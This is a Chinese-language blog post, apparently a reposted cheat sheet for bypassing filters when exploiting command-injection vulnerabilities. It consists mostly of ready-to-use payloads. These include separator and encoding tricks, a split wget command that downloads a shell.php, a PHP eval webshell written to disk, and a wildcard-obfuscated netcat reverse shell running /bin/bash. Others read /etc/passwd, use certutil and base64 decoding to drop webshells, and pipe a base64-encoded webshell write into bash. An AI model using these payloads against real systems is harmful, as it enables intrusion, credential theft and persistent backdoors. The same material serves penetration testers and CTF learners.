命令执行bypass
2023-5-29 11:20:31 Author: 白帽兔(查看原文) 阅读量:21 收藏

简介

命令执行漏洞是一种常见的Web应用程序安全漏洞,攻击者可以通过该漏洞在受感染的应用程序上执行恶意代码。这种漏洞通常是由于不正确地处理用户输入而引起的。
攻击者利用命令执行漏洞时,通常会将含有恶意代码的数据提交给应用程序,然后利用应用程序对该数据的不完整或错误处理来执行任意系统命令。攻击者可以使用该方法来获取敏感信息、修改数据、升级权限等。

bypass

命令连接

` & || | $()
%0a 换行符
%0d 回车符
; 连续指令
a=l;b=s;$a$b 局部变量
curl `whoami`xxxx.xxx DNS管道解析

利用 \ 换行符

1>wget\
1>xxx.com.\
1>com\
1>-O\
1>she\
1>ll.p\
1>hp

利用 > 重定向

这里我们首先新建一个文件名字为你要执行的命令 我们来拿uname -a 来做例子

touch unman\ -a

然后将ls的结果重定向到一个临时变量a

最后去运行它

sh a

最终就会得到 uname -a的执行结果

试想一下,如果我们将ls运行的结果展示为写入一句话木马的命令 再去运行sh a 就可以得到一个木马,虽然用处不大。

[email protected]$ touch echo\ \'\<\?php\ eval\(\$_POST\[a\]\)\?\>\'\>\>2.php
[email protected]$ ls > a
[email protected]$ ls2.php a echo '<?php eval($_POST[a])?>'>>2.php
[email protected]$ cat 2.php<?php eval($_POST[a])?>

ls -t是按照时间顺排序

http://2130706433  IP转10进制

http://0x7F000001  IP转16进制

转化网址:http://www.msxindl.com/tools/ip/ip_num.asp

通配符

/???/n? -e /???/b??h 127.0.0.1 6666
bin/nc -e /bin/bash 127.0.0.1 6666
/???/c?t /?t?/p??swd
\* 代表『 0 个到无穷多个』任意字符
? 代表『一定有一个』任意字符
[ ] 同样代表『一定有一个在括号内』的字符(非任意字符)。例如 [abcd] 代表『一定有一个字符, 可能是 a, b, c, d 这四个任何一个』
[ - ] 若有减号在中括号内时,代表『在编码顺序内的所有字符』。例如 [0-9] 代表 09 之间的所有数字,因为数字的语系编码是连续的!
[^ ] 若中括号内的第一个字符为指数符号 (^) ,那表示『反向选择』,例如 [^abc] 代表 一定有一个字符,只要是非 a, b, c 的其他字符就接受的意思

cat flag可转换为:

cat fla[a-z]
cat fl[a]g
cat f``lag
c’a’t /f’la’g
cat fl??
cat f*
cat $(echo -n "base64加密的flag" | base64-d)
cat `echo -n "base64加密的flag" | base64-d`
c\at /fl\ag
head /`ls /|grep 'fla'
a=c;b=at;c=fl;d=ag;$a$b $c$d

利用历史执行记录来bypass

[email protected]$ cat
[email protected]$ fl
[email protected]$ ag
[email protected]$ history
1.cat
2.fl
3.ag
[email protected]$ !1!2!3
flag{ea3y_bypa3s_inj3ct1on}

###过滤空格的时候

cat${IFS}flag
cat$IFS$9flag
<
%09 (需要php环境)
``

命令终止符

%00 %20

其他绕过

cat$u /etc$u/passwd$u
/?in/cat /?tc/p?sswd
/'b'i'n'/'c'a't' /'e't'c'/'p'a's's'w'd
/"b"i"n"/"w"h"i"c"h" "n"c
/b\i\n/w\h\i\c\h n\c

写文件

Windows

echo 48 65 6C 6C 6F 2C 57 6F 72 6C 64 21 >c.txt
生成 hex.txt,机器码对应的内容是 Hello World!
certutil -decodehex c.txt c.php
也可以base64解码
certutil -decode c.txt c.php

Linux

echo -e "\x61">1.txt

将payload加密成base64 例如 echo '<?php @eval($_REQUEST[c]);?>'>>/var/www/c.php

`echo${IFS}"ZWNobyAnPD9waHAgQGV2YWwoJF9SRVFVRVNUWzEwMDg2XSk7Pz4nPj4vdmFyL3d3dy9zaHRlcm0vcmVzb3VyY2VzL3FyY29kZS9sYmo3Ny5waHAK"|base64${IFS}-D|bash`
原文链接:https://www.yuque.com/pphua/hacksb/zqwgwg

免责声明

本公众号文章以技术分享学习为目的。  

由于传播、利用本公众号发布文章而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号及作者不为此承担任何责任。 

一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢!


文章来源: http://mp.weixin.qq.com/s?__biz=MzA4NzUzNzgyMw==&mid=2247485758&idx=1&sn=75310f6d7b08e3f1b4ae406a2cd2b977&chksm=9036a8cea74121d80456a08f474be062a33d5ed687688ae990ea8e23831208e5c8adf2cf7248#rd
如有侵权请联系:admin#unsafe.sh